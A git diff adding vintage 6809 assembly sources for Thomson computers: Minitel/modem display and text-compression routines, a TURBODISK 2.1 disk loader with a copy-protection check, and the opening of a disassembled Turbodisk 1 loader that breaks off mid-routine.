+ BNE ESC3
+ LDB #7
+ STB ,Y+
+ LBRA ESCSUI
+
+ESC3 CMPA #$43 C (Couleurs)
+ BNE ESC4
+ LBSR PARA
+ LDU #PARA1
+ LDB ,U+
+ BMI CO0
+ ANDB #$7
+ STB $6A66
+ ADDB #$40
+ LDA $6AD6
+ ANDA #1
+ BEQ CO00
+ TST $6A9E
+ BEQ CO00
+ ADDB #$30
+CO00 LDA #$1B
+ STD ,Y++
+CO0 LDB ,U+
+ BMI CO1
+ ANDB #$7
+ STB $6A7B
+ ADDB #$50
+ LDA $6AD6
+ ANDA #1
+ BEQ CO10
+ TST $6A9E
+ BEQ CO10
+ ADDB #$28
+CO10 LDA #$1B
+ STD ,Y++
+CO1 LDB ,U+
+ BMI CO2
+ ANDB #1
+ STB $6A90
+ SUBB #$5D
+ NEGB
+ LDA #$1B
+ STD ,Y++
+CO2 LDB ,U+
+ BMI CO3
+ ANDB #1
+ BRA KLI1
+CO3 LBRA ESCSUI
+
+ESC4 CMPA #$44 D=Démasquage total
+ BNE ESC5
+ LDD #$1B23
+ STD ,Y++
+ LDD #$205F
+ STD ,Y++
+ LBRA ESCSUI
+
+ESC5 CMPA #$45 E=Effacement
+ BNE ESC7
+ LDA #$0C
+ STA ,Y+
+ LBRA ESCSUI
+
+ESC7 CMPA #$47 G=Générateur de
+ BNE ESC9 caractères
+ LBSR PARA
+ LDA PARA1
+ ANDA #1
+ STA $6A82
+ BNE GEN0
+ LDA #$0F mode normal
+ BRA GEN1
+GEN0 LDA #$0E mode Teletel
+GEN1 STA ,Y+
+ LBRA ESCSUI
+
+ESC9 CMPA #$49 I=Inversion
+ BNE ESCB
+ LDA ,X
+ CMPA #$45 E=Ecran
+ BEQ IE
+ LDA #$1B
+ LDB $6A90
+ ANDB #1
+ INCB
+ ANDB #1
+ STB $6A90
+ SUBB #$5D
+ NEGB
+ STD ,Y++
+ LBRA ESCSUI
+IE LEAX 1,X
+ LDD #$1B20
+ STD ,Y++
+ LDA #$23
+ LDB $6A90
+ ANDB #1
+ SUBB #$5D
+ NEGB
+ STD ,Y++
+ LBRA ESCSUI
+
+ESCB CMPA #$4B K=Klignotement
+ BNE ESCC
+ LDB $6A9E
+ ANDB #1
+ INCB
+ ANDB #1
+KLI1 STB $6A9E
+ LDA $6AD6
+ ANDA #1
+ BNE KLITO
+ SUBB #$49
+ NEGB
+ LDA #$1B
+ STD ,Y++
+KLI2 LBRA ESCSUI
+KLITO LDA #$1B
+ LDB $6A66
+ ANDB #7
+ ADDB #$40
+ TST $6A9E
+ BEQ KLIT1
+ ADDB #$30
+KLIT1 STD ,Y++
+ LDB $6A7B
+ ANDB #$7
+ ADDB #$50
+ TST $6A9E
+ BEQ KLIT2
+ ADDB #$28
+KLIT2 STD ,Y++
+ BRA KLI2
+
+ESCC CMPA #$4C L=Locate
+ BNE ESC4D
+ LBSR PARA
+ LDU #PARA1
+ LDD ,U++
+ CMPD #$FFFF
+ BEQ LO4
+ PSHS A
+ TSTB
+ BPL LO0
+ LDB $6B00
+LO0 CMPB #25
+ BLO LO1
+ CLRB
+LO1 STB $6B00
+ ADDB #$40
+ LDA #$1F
+ STD ,Y++
+ PULS B
+ TSTB
+ BPL LO2
+ LDB $6AF9
+LO2 CMPB #40
+ BLS LO3
+ CLRB
+LO3 STB $6AF9
+ ADDB #$41
+ STB ,Y+
+LO4 LDB ,U+
+ BMI LO7
+ ANDB #1
+ STB $6AEB
+ BEQ LO5
+ LDB #$11
+ BRA LO6
+LO5 LDB #$14
+LO6 STB ,Y+
+LO7 LDB ,U+
+ BMI LO8
+ ANDB #1
+ STB $6AA5
+ LDA $6AD6
+ ANDA #1
+ BNE LO8
+ ADDB #$58
+ LDA #$1B
+ STD ,Y++
+LO8 LBRA ESCSUI
+
+ESC4D CMPA #$4D M=Mode
+ LBNE ESC4E
+ LDA ,X
+ CMPA #$52 R=Rouleau
+ BNE ESC4D1
+ LDB #$43
+ BRA ESC4D3
+ESC4D1 CMPA #$68 H=Haut
+ BNE ESC4D2
+ LDB #$46
+ BRA ESC4D3
+ESC4D2 CMPA #$42 B=Bas
+ BNE ESC4D4
+ LDB #$47
+ESC4D3 LEAX 1,X
+ LDA #$1B
+ STA ,Y+
+ LDA #$3A
+ STA ,Y+
+ LDA #$39
+ STD ,Y++
+ESC4D4 LBRA ESCSUI
+
+ESC4E CMPA #$4E N=nouvelle ligne
+ BNE ESC4F
+ LDD #$0A0D
+ STD ,Y++
+ BRA LO8
+
+ESC4F CMPA #$4F O=Oblitération=DEL
+ BNE ESC52
+ LDA #$7F
+ STA ,Y+
+ BRA LO8
+
+ESC52 CMPA #$52 R=Répétition
+ BNE ESC58
+ LBSR PARA
+ LDB PARA1
+ CMPB #63
+ BHI LO8
+ LDA #$12 rep
+ ADDB #$40
+ STD ,Y++
+ BRA LO8
+
+ESC58 CMPA #$58 X=effacement de
+ BNE ESC5E la fin de la ligne
+ LDA #$18
+ STA ,Y+
+ BRA LO8
+
+ESC5E CMPA #$5E ^ Déplacements
+ BNE ESCN
+DEA LDA ,X+
+ LBEQ FINMOD
+ CMPA #$3A :
+ BEQ DE0
+ CMPA #$5C \
+ BNE DE1
+DE0 LEAX -1,X
+ LBRA ESCSUI
+DE1 ANDA #$5F
+ CMPA #$42 B=bas
+ BNE DE2
+ LDA #10
+ BRA DEX
+DE2 CMPA #$43 C=coin sup/gauche
+ BNE DE3
+ LDA #30
+ BRA DEX
+DE3 CMPA #$44 D=droite
+ BNE DE4
+ LDA #9
+ BRA DEX
+DE4 CMPA #$47 G=gauche
+ BNE DE5
+ LDA #8
+ BRA DEX
+DE5 CMPA #$48 H=haut
+ BNE DE6
+ LDA #11
+ BRA DEX
+DE6 CMPA #$4C L=retour Ligne
+ BNE DE7
+ LDA #13
+DEX STA ,Y+
+DE7 BRA DEA
+
+ESCN LBRA ESC0
+
+FINMOD LDX #POKE+4
+ LDA $6AD6
+ CMPA #2
+ BEQ AFMINI Affichage MINITEL
+AFTOMO CLR ,Y Affichage TO+MODEM
+AFTM0 LDB ,X+
+ BEQ EXITEL
+ TST $6AD6
+ BNE AFTO
+AFTM1 LDA $E7FE
+ BITA #2
+ BEQ AFTM1
+ STB $E7FF
+ BRA AFTM0
+AFTO JSR $E803
+ BRA AFTM0
+AFMINI LBSR TEL
+EXITEL LDY #POKE
+ LDX #ZONE+22
+FINMAX LBSR COPIE
+ PULS A,B,CC,DP,X,Y,U,PC
+
+PARA PSHS Y,U Recherche des
+ LDY #PARA1 paramètres (4 max)
+ LDD #$FFFF
+ STD ,Y
+ STD 2,Y
+ CLRB
+
+PAR0 LDA ,X+
+ BEQ SORPAR
+ CMPA #$3A :
+ BEQ AUTPAR
+ CMPA #$5C \
+ BEQ AUTPAR
+ CMPA #$2C ,
+ BEQ AUTPAR
+ CMPA #$30 0
+ BLO AUTPAR
+ CMPA #$39 9
+ BHI VAR
+ SUBA #$30
+ LDB ,Y
+ BPL PAR1
+ CLRB
+ STB ,Y
+PAR1 ASLB
+ ASLB
+ ASLB
+ ADDB ,Y
+ ADDB ,Y
+ STB ,Y
+ ADDA ,Y
+ STA ,Y
+ BRA PAR0
+
+VAR CMPA #$41 A
+ BLO AUTPAR
+ CMPA #$5A Z
+ BLS VAR0
+ CMPA #$61 a
+ BLO AUTPAR
+ CMPA #$7A z
+ BHI AUTPAR
+ SUBA #$20
+VAR0 SUBA #$41
+ STA ,Y
+ ASLA
+ ASLA
+ ASLA
+ SUBA ,Y
+ LDU #$6A58
+ TFR A,B
+ CLRA
+ LEAU D,U
+ LDB ,U
+ STB ,Y
+ BRA PAR0
+
+AUTPAR CMPA #$2C
+ BNE SORPAR
+ LEAY 1,Y
+ CMPY #PARA4
+ BHI SORPAR
+ CLRB
+ BRA PAR0
+
+SORPAR LEAX -1,X
+ PULS U,Y,PC
+
+PTEL PSHS U,Y,X,DP,B,A,CC
+ LDD #$1003
+ STA $624B
+ JSR $EC0C
+ LDX #$A000
+ TFR X,Y
+ CLR ,Y+
+ CLR ,Y+
+ LDA #$61
+ TFR A,DP
+INPUT LDB #5
+ JSR $EC0C
+ LDA $6AD6
+ BNE PT1
+PT0 LDA $E7FE
+ BITA #2
+ BEQ PT0
+ LDA <$96
+ STA $E7FF
+ BRA PT2
+PT1 LDA <$96
+ STA ,Y+
+ CMPY #$DFFF
+ BHI CPTEL
+PT2 TST <$78
+ BEQ INPUT
+CPTEL LEAY -1,Y
+ LDB #6
+ JSR $EC0C
+ LDA $6AD6
+ BEQ FPTEL
+ CMPA #2
+ BEQ COMBLE
+ LDB #$FF
+ STB ,Y+
+PT3 LDB ,X+
+ BMI FPTEL
+ CMPB #19
+ BNE PT4
+ LDB #22
+PT4 JSR $E803
+ BRA PT3
+FPTEL PULS U,Y,X,DP,B,A,CC,PC
+
+TEL PSHS U,Y,X,DP,B,A,CC
+COMBLE LDD #$1B3A
+ STD ,Y++
+ LDD #$6AFE
+ STD ,Y++
+ LDD #$E7FD
+ TFR A,DP
+ STB <$C2
+ TFR X,U
+ LBSR ROUT1
+ LDX #$1000
+TEMP1 LEAX -1,X
+ BNE TEMP1
+ CLRB
+ ORCC #$50
+TOMI0 LDA #$07
+ STA ,S
+ BSR ROUT1
+ LDX #$0333
+ STX <$C6
+ LDA #$A2
+ STA <$C5
+ CLRA
+ BSR ROUT2
+TOMI1 LSRB
+ BCC TOMI2
+ BSR ROUT1
+ INCA
+ BRA TOMI3
+TOMI2 BSR ROUT2
+TOMI3 DEC ,S
+ BNE TOMI1
+ BITA #$01
+ BNE TOMI4
+ BSR ROUT2
+ BRA TOMI5
+TOMI4 BSR ROUT1
+TOMI5 LDB ,U+
+ BPL TOMI0
+ PULS CC,A,B,DP,X,Y,U,PC
+
+ROUT1 PSHS X,A
+ LDA <$C5
+ ORA #$80
+ BRA TOMI6
+ROUT2 PSHS X,A
+ LDA <$C5
+ ANDA #$7F
+ BRA TOMI6
+TOMI6 STA <$C5
+ LDX #$0061
+TEMP2 LEAX -1,X
+ BNE TEMP2
+ PULS A,X,PC
+
+CHERCH PSHS A,B,DP,CC,X,Y,U
+ LDX TAMPON
+ STX VAL+1
+ LDY #$A002
+ LDA $E7E5
+ TFR A,DP
+ LDA #$10
+CH0 STA $E7E5
+ LDU #$A000
+ LDB #$80
+CH1 LDX ,U
+VAL CMPX #$0000 VALEUR CHERCHEE
+ BNE CH2
+ LDX 2,U
+ STX POKE
+ LDX 4,U
+ STX POKE+2
+ LDX 6,U
+ STX POKE+4
+ PSHS A,B
+ PSHS U
+ EXG A,DP
+ STA $E7E5
+ EXG DP,A
+ ANDA #$0F
+ LSLB
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ LSRB
+ LSRB
+ LSRB
+ LDU #TABLE
+ LDA A,U
+ STD ,Y++
+ LDD POKE
+ STD ,Y++
+ LDD POKE+2
+ STD ,Y++
+ LDA POKE+4
+ CLRB
+ STD ,Y++
+ PULS U
+ PULS A,B
+ STA $E7E5
+CH2 LEAU 128,U
+ INCB
+ BNE CH1
+ INCA
+ CMPA #$20
+ BLO CH0
+CH3 TFR DP,A
+ STA $E7E5
+ LEAX ,Y
+ STX LIMTR1+2
+ LEAX -8,X
+ STX LIMTR0+1
+ LEAX -$A002,Y
+ TFR X,D
+ LSRA
+ RORB
+ LSRA
+ RORB
+ LSRA
+ RORB
+ STD $A000
+ CMPD #$0002
+ BLO TRI4
+ LDX VAL+1
+ BEQ TRI4
+ LDX #$A002
+TRI0 LEAY 8,X
+TRI1 LDB #4
+TRI2 LDA B,X
+ CMPA B,Y
+ BHI PERM
+ BLO TRI3
+ INCB
+ CMPB #7
+ BLO TRI2
+ BRA TRI3
+PERM LDB #6
+PERM0 LDA B,X
+ TFR A,DP
+ LDA B,Y
+ STA B,X
+ TFR DP,A
+ STA B,Y
+ DECB
+ BPL PERM0
+TRI3 LEAY 8,Y
+LIMTR1 CMPY #$0000
+ BLO TRI1
+ LEAX 8,X
+LIMTR0 CMPX #$0000
+ BLO TRI0
+TRI4 PULS A,B,DP,CC,X,Y,U,PC
+
+SAUV PSHS A,B,DP,CC,X,Y,U
+ LDA $E7E5
+ TFR A,DP
+ LDX #$FFFF
+ LDY #POKE
+ STX ,Y
+ STX 2,Y
+ LDA #$10
+EC0 STA $E7E5
+ LDU #$A000
+ LDB #$80
+EC1 LDX ,U
+ CMPX #$0000 VALEUR VIDE
+ BNE EC6
+ PSHS A,B,U
+ ANDA #$0F
+ LSLB
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ LSRB
+ LSRB
+ LSRB
+ LDU #TABLE
+ LDA A,U
+ STD 4,Y
+ SUBA $6052
+ BPL EC2
+ NEGA
+EC2 STA 6,Y
+ CMPA 2,Y
+ BHI EC5
+ BEQ EC3
+ LDA #$FF
+ STA 3,Y
+EC3 LDA 4,Y
+ SUBA #20
+ BPL EC4
+ NEGA
+EC4 STA 7,Y
+ CMPA 3,Y
+ BHS EC5
+ LDX 4,Y
+ STX ,Y
+ LDX 6,Y
+ STX 2,Y
+EC5 PULS A,B,U
+EC6 LEAU 128,U
+ INCB
+ BNE EC1
+ INCA
+ CMPA #$20
+ BLO EC0
+ TFR DP,A
+ STA $E7E5
+ CLR TAMPON
+ LDD ,Y
+ LSRB
+ BCC EC7
+ COM TAMPON
+EC7 INCB
+ STD $604B
+ BRA EC8
+
+COMPAC PSHS A,B,DP,CC,X,Y,U
+EC8 LDD $604B
+ CMPA #63
+ LBHI COMP2
+ DECB
+ CMPB #15
+ LBHI COMP2
+ LDY #POKE
+ STY $604F
+ LDA #$94
+ STA $60CD
+ LDD #$0204
+ STD $6048
+ JSR $E004
+ LBSR HORPLU
+ LDD #$2804
+ PSHS A
+ LDX #TAMPON
+ LDA ,X+
+ BEQ COMP0
+ LEAY 128,Y
+COMP0 LDA ,X+
+ STA ,Y+
+ DECB
+ BNE COMP0
+ LDD $607D
+ SUBB #90
+ CMPB #10
+ BLO DAT0
+ ADDB #100
+DAT0 LSLA
+ LSLA
+ LSLA
+ LSLA
+ LSLA
+ ROLB
+ LSLA
+ ROLB
+ LSLA
+ ROLB
+ LSLA
+ ROLB
+ STB ,Y+
+ LDA $607C
+ LDB HEURE
+ LSLB
+ LSLB
+ LSLB
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ STA ,Y+
+ LDA MINUT
+ LSLA
+ LSLA
+ LSLB
+ PSHS CC
+ LSLB
+ RORA
+ PULS CC
+ RORA
+ STA ,Y+
+COMP1 LDA ,X+
+ SUBA #$20
+ LDB ,X+
+ SUBB #$20
+ LSLB
+ LSLB
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ STA ,Y+
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ LDB ,X+
+ SUBB #$20
+ LSLB
+ LSLB
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ STA ,Y+
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ LDB ,X+
+ SUBB #$20
+ LSLB
+ LSLB
+ LSRA
+ RORB
+ LSRA
+ RORB
+ STB ,Y+
+ DEC ,S
+ BNE COMP1
+ PULS B
+ LDD #$0801
+ STD $6048
+ LDX #POKE
+ STX $604F
+ JSR $E004
+ LDD #$0482
+ STA $6049
+ JSR $E004
+ STB $60CD
+ BRA COMP3
+COMP2 LDA #$FF
+ STA $604E
+COMP3 BSR DIROK
+ PULS A,B,DP,CC,X,Y,U,PC
+
+DIROK LDY #$C000
+ LDD #$0820
+DIR0 STB ,Y+
+ DECA
+ BNE DIR0
+ RTS
+
+DECOMP PSHS A,B,DP,CC,X,Y,U
+ LDA $E7E5
+ TFR A,DP
+ LDA #$0F
+ STA $E7E5
+ LDD $604B
+ CMPA #63
+ LBHI DECO2
+ DECB
+ CMPB #15
+ LBHI DECO2
+ LDA #$94
+ STA $60CD
+ LDD #$0204
+ STD $6048
+ LDX #TAMPON+1
+ STX $604F
+ JSR $E004
+ TST $604E
+ LBNE DECO3
+ BSR DIROK
+ LDD #$2804
+ PSHS A
+ LDA TAMPON
+ BEQ DECO0
+ LEAX 128,X
+DECO0 LDA ,X+
+ STA ,Y+
+ DECB
+ BNE DECO0
+ LDA ,X
+ LSRA
+ LSRA
+ LSRA
+ LSRA
+ ADDA #90
+ CMPA #100
+ BLO DAT2
+ SUBA #100
+DAT2 STA ,Y+
+ LDA ,X+
+ ANDA #$0F
+ STA ,Y+
+ LDA ,X
+ LSRA
+ LSRA
+ LSRA
+ STA ,Y+
+ LDA ,X+
+ ANDA #7
+ LDB ,X
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ STA ,Y+
+ LDA ,X+
+ ANDA #$3F
+ STA ,Y+
+DECO1 LDA ,X
+ LSRA
+ RORB
+ LSRA
+ RORB
+ ADDA #$20
+ STA ,Y+
+ LDD ,X+
+ ANDA #3
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ ADDA #$20
+ STA ,Y+
+ LDD ,X++
+ ANDA #15
+ LSLB
+ ROLA
+ LSLB
+ ROLA
+ ADDA #$20
+ LSRB
+ LSRB
+ ADDB #$20
+ STD ,Y++
+ DEC ,S
+ BNE DECO1
+ TFR DP,A
+ STA $E7E5
+ PULS A
+ BRA DECO3
+DECO2 LDA #$FF
+ STA $604E
+DECO3 LDA #$82
+ STA $60CD
+ PULS A,B,DP,CC,X,Y,U,PC
+
+AFFIC5 PSHS A,B,DP,CC,X,Y,U
+ LDA #5
+ STA $E7E5
+ LDD $6AB2
+ CMPD #0053
+ LBHI FAFF5
+ LDA #2
+ MUL
+ STD $6AB2
+ LDA #2
+ LDX #$A000
+ LBSR PREPA5
+ INC $6AB3
+ LDA #2
+ LDX #$A200
+ LBSR PREPA5
+ LDX #$A000
+ LDY #$A400
+ LDD #0
+ STD ,Y++
+ STD ,Y++
+ LDD #$0C14
+ STD ,Y++
+ LDA #25
+ STA LIGNE
+NOUVLI DEC LIGNE
+ BEQ PRINT5
+ LDA #40
+ STA COLON
+OCTSUI LDA ,X+
+ CMPX #$A400
+ BHI PRINT5
+ CMPA #$0D
+ BNE ESTAFF
+ LDB ,X+
+ DEC COLON
+ BMI NOUVLI
+AFFD LDD #$0D0A
+ STD ,Y++
+ BRA NOUVLI
+ESTAFF CMPA #32
+ BLO OCTSUI
+ CMPA #128
+ BLO OCTAFF
+ CMPA #161
+ BHI OCTSUI
+ SUBA #128
+ LDB #3
+ MUL
+ LDU #TABPC
+ LEAU B,U
+ LDD ,U++
+ STD ,Y++
+ LDA ,U
+OCTAFF DEC COLON
+ BMI OCTSUI
+ STA ,Y+
+ BRA OCTSUI
+
+PRINT5 LDU #$A400
+ LDD #$1F41
+ STA -1,Y
+ STB ,Y+
+ STB ,Y+
+ LDA $6AD6
+ CMPA #1
+ LBEQ COMBLE
+ LDB #255
+ STB ,Y++
+ TSTA
+ BNE ECRAN
+ATTMOD LDA $E7FE
+ BITA #2
+ BEQ ATTMOD
+ LDA ,U+
+ BEQ ATTMOD
+ BMI FAFF5
+ STA $E7FF
+ BRA ATTMOD
+ECRAN LDB ,U+
+ BEQ ECRAN
+ BMI FAFF5
+ CMPB #$13
+ BNE ECOK
+ LDB #$16
+ECOK JSR $E803
+ BRA ECRAN
+
+FAFF5 PULS A,B,DP,CC,X,Y,U,PC
+
+PREPA5 STA $6048
+ STX $604F
+ LDX $6AB2
+ BMI PB5
+ CMPX #719
+ BHI PB5
+ LDA #2
+ STA LIGNE
+AGIR5 LDA #$D4
+ STA $E7E7
+ LDX $E000
+ CMPX #$444B
+ BEQ OK5
+ LDA #$54
+ STA $E7E7
+PB5 LDX #$FFFF
+ STX $6AB2
+ LEAS 2,S
+ PULS A,B,DP,CC,X,Y,U,PC
+OK5 LDA $6052
+ LDB $6054
+ STA $6054
+ STB $6052
+ CLR $6058
+ LDX $6AB2
+ LDA #$FF
+TEST5 INCA
+ LEAX -9,X
+ CMPX #0
+ BPL TEST5
+ LEAX 10,X
+ STX $604B
+ PSHS A
+ ANDA #1
+ STA $6049
+ PULS A
+ LSRA
+ STA $604B
+ JSR $E004
+ LDA #$54
+ STA $E7E7
+ LDA $6052
+ LDB $6054
+ STA $6054
+ STB $6052
+ CLR $6058
+ LDA $604E
+ BEQ SOROK5
+ DEC LIGNE
+ BEQ SPB5
+ LDA $6048
+ LDB $6052
+ PSHS A,B
+ CLR $6052
+ CLR $6054
+ LDD #$D420
+ STA $E7E7
+ STB $6048
+ JSR $E004
+ LDD #$5401
+ STB $6048
+ JSR $E004
+ STA $E7E7
+ PULS A,B
+ STA $6048
+ STB $6052
+ LBRA AGIR5
+SPB5 LDX #999
+ STX $6AB2
+SOROK5 RTS
+
+LIRE5 PSHS A,B,DP,CC,X,Y,U
+ LDA #2
+ LDX #$9800
+ LBSR PREPA5
+ LDD #$0804
+ STD $6048
+ LDD #$1401
+ STD $604B
+ JSR $E004
+ PULS A,B,DP,CC,X,Y,U,PC
+
+ECRI5 PSHS A,B,DP,CC,X,Y,U
+ LDA #8
+ LDX #$9800
+ LBSR PREPA5
+ PULS A,B,DP,CC,X,Y,U,PC
+
+LIGNE FCB 0
+COLON FCB 0
+
+SAVPTR FCB 0,0
+
+PARA1 FCB 0
+PARA2 FCB 0
+PARA3 FCB 0
+PARA4 FCB 0
+
+TABPC FCB $1B,$48,32,$13,$48,$75
+ FCB $13,$42,$65,$13,$43,$61
+ FCB $13,$48,$61,$13,$41,$61
+ FCB 0,32,0,$13,$4B,$63
+ FCB $13,$43,$65,$13,$48,$65
+ FCB $13,$41,$65,$13,$48,$69
+ FCB $13,$43,$69,$1B,$5D,32
+ FCB 0,32,0,0,32,0,0,32,0
+ FCB $1B,$4C,32,$1B,$4D,32
+ FCB $13,$43,$6F,$13,$48,$6F
+ FCB $13,$41,$6F,$13,$43,$75
+ FCB $13,$41,$75,0,32,0,0,32,0
+ FCB 0,32,0,$1B,$49,32,22,23,0
+ FCB 0,32,0,0,32,0,0,32,0
+ FCB $13,$42,$61,$1B,$5C,32
+
+TABLE FCB 62,63,60,61,58,59,56,57
+ FCB 54,55,52,53,50,51,48,49
+ FCB 46,47,44,45,42,43,40,41
+ FCB 38,39,36,37,34,35,32,33
+ FCB 30,31,28,29,26,27,24,25
+ FCB 22,23,19,21,17,18,15,16
+ FCB 13,14,11,12,9,10,7,8
+ FCB 5,6,3,4,1,2,20,0
+
+ZONE FCB $3B,$3A,$AA,$26,$48,$38
+ FCB $38,$30,$30,$2C,0
+
+ FCB $3A,$AB,$23,$22,0
+
+ FCB $23,$31,$2C,$22,0
+
+ FCB $22,$3B,$3A,$AB,$23,$23,0
+
+POKE RMB 300
+
+FIN FCB 0
+
+ END
diff --git a/code/3rdparty/sources3-lambinet/Turbodisk/NEWLANC.ASM b/code/3rdparty/sources3-lambinet/Turbodisk/NEWLANC.ASM
new file mode 100644
index 0000000..1b7dd35
--- /dev/null
+++ b/code/3rdparty/sources3-lambinet/Turbodisk/NEWLANC.ASM
@@ -0,0 +1,177 @@
+***************************************
+* *
+* * * * * ** **** * * *** *
+* * * * ** * * * * * * * * *
+* * ***** * * * * *** * * *** *
+* * * * * ** * * * * * * * *
+* *** * * * * ** **** ** * * *
+* *
+***************************************
+* *
+* ***** * * **** **** *** *
+* * * * * * * * * * * *
+* * * * * * * * * * * *
+* * * * **** **** * * ***** *
+* * * * * * * * * * * *
+* * * * * * * * * * * *
+* * *** * * **** *** *
+* *
+***************************************
+* LANCEUR de TURBO+ (TURBODISK v 2.1) *
+* par Michel SAINT-BRIANT - ASCI/1992 *
+***************************************
+
+COMPT EQU FIN+4 COMPTEUR
+NESSAI EQU FIN+5 NBRE D'ESSAIS
+SAVEX EQU FIN+6
+
+ ORG $8000
+
+ LDX #MESSEN
+AFF0 LDB ,X+
+ BEQ AFF1
+ JSR $E803
+ BRA AFF0
+AFF1 LDX #$6202
+ LEAY ,X++
+AFF2 LDB ,X+
+ LEAY B,Y
+ JSR $E803
+ CMPX #$627F
+ BNE AFF2
+ PSHS Y
+ LDD $62FD FACE/PISTE
+ DECA
+ BNE ADR01
+ INCB
+ BRA ADR02
+ADR01 LDA #$01
+ADR02 STA $6049
+ STB $604B
+ LDA $62FA BANK1
+ STA $E7E5
+ JSR $E09D
+ JSR $E0A7
+ JSR $E452
+ JSR $E341
+ LDB #$18
+ JSR $E394
+NBANK LDA #$03 1 BANK=3 PISTES
+ STA COMPT
+ INC $E7E5
+ LDX #$A000
+ STX SAVEX ON SAUVE L'ADRESSE
+NPIST JSR $E09D
+ DEC <$49 NOUVELLE PISTE
+ BEQ ADR03
+ DEC <$4B
+ LDD #$4001
+ STD <$48
+ JSR $E0A7
+ JSR $E47D
+ADR03 LDA #$08
+ STA NESSAI
+ LDX SAVEX ON DECALE L'ADRES-
+ LEAX $1556,X SE DE 1/3 BANK
+ STX COMP+1
+DEMAR JSR $E09D INITIALISATION DU
+ JSR $E0A7 CONTROLEUR
+ JSR $E47D
+ JSR $E341
+ LDB #$18
+ JSR $E394
+ LDA #$E7
+ TFR A,DP
+ LDY ,S
+ADR04 LDA <$D1
+ BITA #$40
+ BEQ ADR04
+ADR05 LDA <$D3
+ LDA <$D0
+ BPL ADR05
+ADR06 LDA <$D0
+ BPL ADR06
+LIRE LDA <$D3 LECTURE
+ADR16 LDA <$D0
+ BPL ADR16
+ BITA #$01
+ BNE LIRE
+ CLRB
+ LDX SAVEX
+ LDA <$D3
+ADR17 LDA <$D0
+ BPL ADR17
+ LDA <$D3
+ CMPA #$FB
+ BEQ ADR18
+ DECB
+ BNE ADR17
+ BRA ERROR
+ADR18 LDA <$D0
+ BPL ADR18
+ LDA <$D3
+ STA ,X+
+ LEAY A,Y
+COMP CMPX #$E002
+ BNE ADR18
+ TFR Y,D
+ADR19 TST <$D0
+ BPL ADR19
+ CMPA <$D3
+ BNE ERROR
+ADR20 TST <$D0
+ BPL ADR20
+ CMPB <$D3
+ BEQ ADR21
+ERROR DEC NESSAI
+ LBNE DEMAR
+ TST ,S
+ BNE ILLIC
+ TST 1,S
+ BNE ILLIC
+ LDX #MESSPB
+ BRA IMPENC
+ILLIC LDX #MESSIL
+IMPENC LDB ,X+
+ JSR $E803
+ BNE IMPENC
+BSF BRA BSF
+ADR21 LDX #COMP+1
+ STX SAVEX
+ DEC COMPT
+ LBNE NPIST
+ DEC $62FB NBBANK
+ LBNE NBANK
+ CLR <$D0
+ LDA #$40
+ STA <$D2
+ PULS X
+ CMPX #0
+ LBEQ PALETT
+ BRA ILLIC
+
+MESSEN FCB $1B,$40,$1B,$57,$1B,$67,12
+ FCC #TURBODISK version 2.#
+ FCC #1 A.S.C.I. Copyright#
+ FCB 10,10
+ FCC #Licence d'utilisatio#
+ FCC #n no #
+ FCB 0
+
+MESSPB FCB 12
+ FCC #Disquette illisible#
+ FCB 0
+MESSIL FCB 12
+ FCC #Copie illicite#
+ FCB 0
+
+FIN FCC #012#
+
+PALETT LDX #$62D8
+ LDA ,X+
+ CMPA #$FF
+ BNE NONPAL
+ JSR $EC00
+NONPAL NOP
+
+ END
diff --git a/code/3rdparty/sources3-lambinet/Turbodisk/TD1ORIG.ASM b/code/3rdparty/sources3-lambinet/Turbodisk/TD1ORIG.ASM
new file mode 100644
index 0000000..cb3d36e
--- /dev/null
+++ b/code/3rdparty/sources3-lambinet/Turbodisk/TD1ORIG.ASM
@@ -0,0 +1,233 @@
+*************
+*
+* TURBODISK 1 RESSOURCé
+*
+*************
+
+ ORG $8000
+
+DEBUT LDX #$6200
+ LDU #DEBUT
+ STU $604F
+COP0 LDD ,X++
+ STD ,U++
+ CMPU #DEBUT+256
+ BCS COP0
+ LDD #$0208
+ STA $6048
+ BSR LITSEC
+ LDB #$06
+ BSR LITSEC
+ LDB #$04
+ BSR LITSEC
+ LDB #$02
+ BSR LITSEC
+ LDB #$07
+ BSR LITSEC
+ LDX #PARA
+ LDU #$601A
+COP1 LDA ,X+
+ BEQ SUITE
+ STA ,U+
+ BRA COP1
+PARA FCB $F0,9,$F0,1,$F0,17,19,0
+
+ ORG $8100
+
+SUITE LDA $6019 initialisation du
+ ORA #$02 clavier pour TO9+
+ STA $6019 + cartouche AUTO
+ LDB #$F8
+ JSR $E806
+ LDA #$54
+ STA $E7E7
+ STA $6081
+ LDX $6004
+ LDD CONFIG F9/FA
+ STA $60CD
+ BITA #$08
+ BNE TD00
+ LEAX -6,X
+TD00 STX $6000
+ LEAX 3,X
+ STX $6002
+ STB $618C
+ INCB
+ STB $6047
+ STB $E7E5
+ INCB
+ ORB #$20
+ STB APPBK+1
+ LDD FACPIS FD/FE face-piste
+ DECA
+ BNE TD10
+ INCB
+ BRA TD20
+TD10 LDA #$01
+TD20 STA $6049
+ STB $604B
+NBANK LDA #$03
+ STA COMPT
+ INC $E7E5
+ LDX #$A000
+NPIST STX BUFFER+1
+ LEAX $1556,X
+ STX COMPAR+1
+ DEC $6049
+ BEQ TD30
+ DEC $604B
+ LDD #$4001
+ STD $6048
+TD30 JSR $E09D
+ JSR $E0A7
+ JSR $E45A
+ JSR $E4A8
+ LDB ,Y
+ LDA <$57
+ SUBB <$4B
+ BEQ TD60
+ BPL TD40
+ ORA #$20
+ NEGB
+TD40 STA 2,X
+TD50 ORA #$14
+ STA 2,X
+ ANDA #$EB
+ STA 2,X
+ JSR $E165
+ DECB
+ BNE TD50
+TD60 LDY #$6052
+ LDA <$49
+ ANDA #$02
+ LEAY A,Y
+ LDB <$4B
+ STB 6,X
+ STB ,Y
+ JSR $E341
+ LDB #$18
+ JSR $E394
+ LDA #$E7
+ TFR A,DP
+TD80 LDA <$D1
+ BITA #$40
